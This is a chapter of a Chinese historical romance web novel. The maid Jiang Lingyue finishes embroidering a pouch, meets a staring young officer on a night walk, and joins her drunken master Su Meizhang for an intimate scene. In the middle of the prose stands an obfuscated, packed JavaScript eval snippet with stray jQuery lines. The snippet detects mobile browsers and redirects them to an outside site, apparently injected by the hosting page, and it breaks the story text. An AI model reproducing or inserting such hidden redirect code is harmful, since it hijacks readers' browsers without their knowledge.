已是亥时三刻，厢房里烛火明亮。


    巧珠推了门，果然就见兀自垂首做着绣活的江令月，不禁轻声道：“姑娘，夜深了，不如早些歇息罢。”


    江令月闻言，这才后知后觉，眼底的酸涩如同升涨的潮水，遽然凝成一层薄雾，她往下压了压，抬头朝她笑笑道：“还差一点，绣完就好了，你若困了，就先睡罢。”


    这一笑直教巧珠愣了几息，再回过神来，便只有被烛光照得柔润的侧脸对着她。


    不过片刻，她又担忧起来，方才虽是一闪而过，但她瞧见姑娘的眼眶都泛红了。


    姑娘今日除了用膳，就是埋头苦绣，一连好几个时辰，再是明目、美目，也要熬坏、熬丑的！


    巧珠连忙劝道：“我不困，姑娘仔细伤了眼睛，相公也不急用这荷包，况且今日相公在前院待客，还不定喝到什么时辰呢，不如先睡下罢。”


    相公交代过，若是姑娘早早熄了灯，就不必在散宴后过去伺候他。


    江令月摇了摇头，眼神只聚在手中的针线上，不再多话。


    巧珠见是说不动，也住了嘴。别看姑娘表面极好说话，偏逢上相公的事，就总有股倔劲。


    于是她只去取了灯罩，看那万里烛烧到了哪里，要不要挑芯。


    巧珠口中的相公，名唤苏梅章，如今不过二十二，乃临州最大的绸缎庄——苏氏绸缎庄的主家。


    当初也是他，将江令月从人伢子手中买下，不仅给了她一处得以遮风避雨的护身之所，还予其玉食丰衣滋养。


    苏梅章的恩情，江令月铭感五内，若是遇到力所能及的活计，都会尝试讨来做。


    这回她绣制的荷包，以青蓝的丝绸为底面，再绣上白色的牡丹，既彰雅致不俗的品味，又显富贵繁华的意蕴。


    虽看似简单，只有一种花样，但这白牡丹并非仅用一色丝线绣到底，需讲究以深衬浅，最外一层绿叶用石青色代替，间或蔚蓝，花萼纯白，花蕊又换了黄线点缀，更别提双面都是如此，全部绣下来要耗费不小的心神。


    昨日还是她瞧见原先那个起了线，又求了好几回，苏梅章才无奈地准了她重新绣个新的。


    因为他是最不愿她自讨苦吃。旁人都说相公心疼她。


    仿佛被蚁虫啃咬，积攒已久的刺痛终于从筋骨中显现端倪，江令月拈针的指尖开始轻微颤抖，好在前院的奴仆及时来到，只听他说：“相公喝醉了，劳姑娘过去一趟。”


    从后院至前院，最快的路径须经过一处人造湖。


    暮春密雨晚来急，留下满地残花，江令月不得不放慢脚步。


    月光澄澈如洗，又有巧珠在前举灯引路，此路还算好走，但她不敢掉以轻心，前日就有洒扫的婆子，白日里都滑脚伤了腰。


    江令月顾着看路，及至另一盏灯的光源浮荡在眼皮底下，她这才发觉，迎面而来的还有一位陌生男子，离她仅四五步距离。


    她并未看清他的模样，便垂了眸，却本能地感到不适。


    为那男子引路的是苏梅章身边的心腹承安，江令月心中猜想，对方应是苏梅章的座上宾，于是侧过身子，好让他们快些通过。


    “姑娘。”承安却停了下来，“因天色已晚，相公留了千户大人暂宿一夜。”


    江令月非是妾室，姑娘二字，不过是旁人看在苏梅章的面上另起的称呼，除去通房的名分，她只是个婢女，因此当承安主动向她介绍男子的身份时，她颇为意外。


    千户......好像是正五品？兴许是怕她不小心冲撞了贵客。


    江令月略一思忖，立即朝那位大人行了礼。


    大人没有说话，承安似乎也只是提醒一句，提着灯便继续引路。


    江令月低眉敛目，只看着脚下的一片石子路，一双乌皮靴随之映入眼帘，本以为它会径直朝前，很快离去，不想靴子的主人驻足，她不自觉地屏息，企图从骤然安静下来的四周，寻觅出一丝响动。


    倏忽，一道刻意放缓的呼吸，自上而下挟着不容忽视的视线，破开她强装的镇定，她掐了掐手心，忍住不适，稍稍偏过头，眼尾却瞟到一点靴跟，微微内旋，似乎要朝她靠近，江令月几乎要失礼得向后退去，而在下一刻，那对乌皮白底的靴履又悉数从她的余光里抽离。


    好像一切不过是她的错觉。


    巧珠远远瞧见承安之后，就避到一旁，她悄悄窥看到那位大人盯视着姑娘的目光，太过直白炽灼，像穿透万阵的利箭，教她下意识看向被其擒摄住的江令月。


    姑娘颜色生得极好，月眉云髻，银面如雪，踏步皎皎月色下，恍若仙娥，方才出门得急，只匆匆披上一件外衫防凉，行步间亦有些松散，却添了股别样风流。


    她刚到姑娘身边时，就对着她看痴了，姑娘不过笑了笑，并没有怪罪。


    与形容相反的是，姑娘脾性温和，就像那未完全冻实的溪河，凿开表面的薄冰，还有汩汩流水涌出，正如此刻，姑娘关切地问道：“无事罢？”


    “没.....”巧珠不敢与之对视，略显慌乱道，“我、我只是头一回见到当官的，有些惶恐。”


    江令月蹙了蹙眉，不置可否：“你挨着我走罢，这样好受些。”


    姑娘真是太善良了！没有哂笑她的胆小，甚至没有怪罪那举止莽失的男子。


    巧珠咬了咬唇：“我瞧见，他们往西院去了，看来相公很重视千户大人。”


    后东院乃苏家女眷住处，后西院则有一座楼阁，所望到的景致更加开阔，必是留给上客。


    江令月牵着她，继续往前走：“承安招待的，肯定是得了相公的授意。”


    见她不甚在意，巧珠反而着急道：“姑娘还不知道，这位千户是凭借战功，直接免了武举，被皇上特封的，好大的殊荣！”


    “竟是如此厉害？”江令月诧异道。


    “是！前段时间，本来只在沔州作恶的海盗流窜到了临州，钻了空子登岸，就是他单枪匹马杀了十几个贼匪，救下了两条村的人命！”巧珠旋即弱了声音，觑着她的神情，“千户而今不过十六，姑娘觉得，他当得上是少年英雄吗？”


    江令月的脸色有所缓和：“救人一命胜造七级浮屠，何况他救了好些人。原本我还惧他目光咄咄，现下看来，因是他身上的威势由内及外，才显得锐气逼人。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791880|158143||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “姑娘说的是。”巧珠见她语气中隐隐透着赞许，不似作假，心底松了口气。


    这一松，连带着她的脚也歪了下，差点要栽到花丛中去，江令月及时揽住了她，提醒道：“仔细看路，摔倒了可不是小事。”


    巧珠乖乖应声，不敢再仗着熟知地段而偏头闲话了。


    穿过海棠门洞，甬道旁栽种着数竿修竹，清风徐过，飒飒作响，疏疏叶影落在江令月的面容上，忽明忽暗，她忽而生出几分迷惘：缘何她才知晓有这么个义勇的人物？她是院里最后一个知晓的吗？


    四下逐渐通亮，盖因廊下挂着的一排针刺荔枝花灯，江令月暂却杂念，刚走上阶台，养在门下的鹦哥拟了人声，叫唤起来：“月娘过来！月娘过来！”


    它腹部的绒毛是白色，羽翼翠绿，两腿和脑袋又是金色的，圆头圆脑，此刻正跳来跳去，很是活泼可爱，江令月的脸颊却染了几点红。


    鹦哥这是把苏梅章唤她的话学了去。


    巧珠把醒酒汤端给她之后就退下了，江令月又在外站了会儿散热，才进屋去。


    只见苏梅章阖衣躺在床榻上，如玉的面庞一片绯红，似睡着了，这倒不是下人偷懒，而是他不喜旁人替他更衣。


    雕花高盆架上已经摆好了温凉水，江令月放下醒酒汤，先蘸湿了洗面巾，细细替他擦拭起来，不过三两下，她只来得及看清他眼睫的颤动，就被抱着侧倒在温热的胸膛上。


    江令月愣了几息，抬首望去，但见苏梅章眉秀目俊，眼底含笑看着她。


    他虽是商贾，却无铜臭俗气，白日里衣冠齐整时，也有几分书生之态，待人温润儒雅，正如翩翩君子，此刻胡闹间交襟凌散，好像轻轻一扯，便能露出内里的肌肤，这种反差教她神思迷恍片刻。


    她软下身子，将手搭在他的臂膀上：“相公既然醒了，就把那醒酒汤喝了罢。”


    苏梅章未应她，只凑到她的脖领，啄吻乌发间露出的一截雪颈，半晌，他才游移到她的唇角，磨着软肉笑道：“方才不过小醉，现下却是大醉，是药三分毒，月娘若是心疼我，就拿自己给我解酒。”


    两人已有几日不曾亲热，酥麻瞬间攀遍江令月的四肢百骸，她经受不住他细碎紧密的挑弄，呼吸急促，微喘着气，一时说不出话。


    苏梅章见状，停了狎昵，又将她揽入怀中，轻轻抚着她的秀发，带着珍重的意味，等她平复后，垂眸道：“月娘这几日睡得可好？”


    江令月初入苏家时，不过刚脱离人伢子的掌控，根本无法在浓稠的黑夜入睡，常常得燃一宿的烛火才可安眠，后来有了苏梅章的陪伴，贴着他的身躯，将他当作另一支不熄的灯烛，方逐渐适应。


    她知道对方是在关心自己，回想了下，独自就寝的时日，睡得确实还算安稳，遂开口道：“相公处理正事要紧，奴无碍的。”


    “等我忙过这段日子就好了。”苏梅章攥了攥她的肩头，“我最近新识得一位大人，好不容易才将他留下，月娘方才过来的时候，有碰到生人吗？”


    江令月对上他的目光，脑中转瞬闪过一双炽灼的黑眸，不知怎的，心头跟着一跳。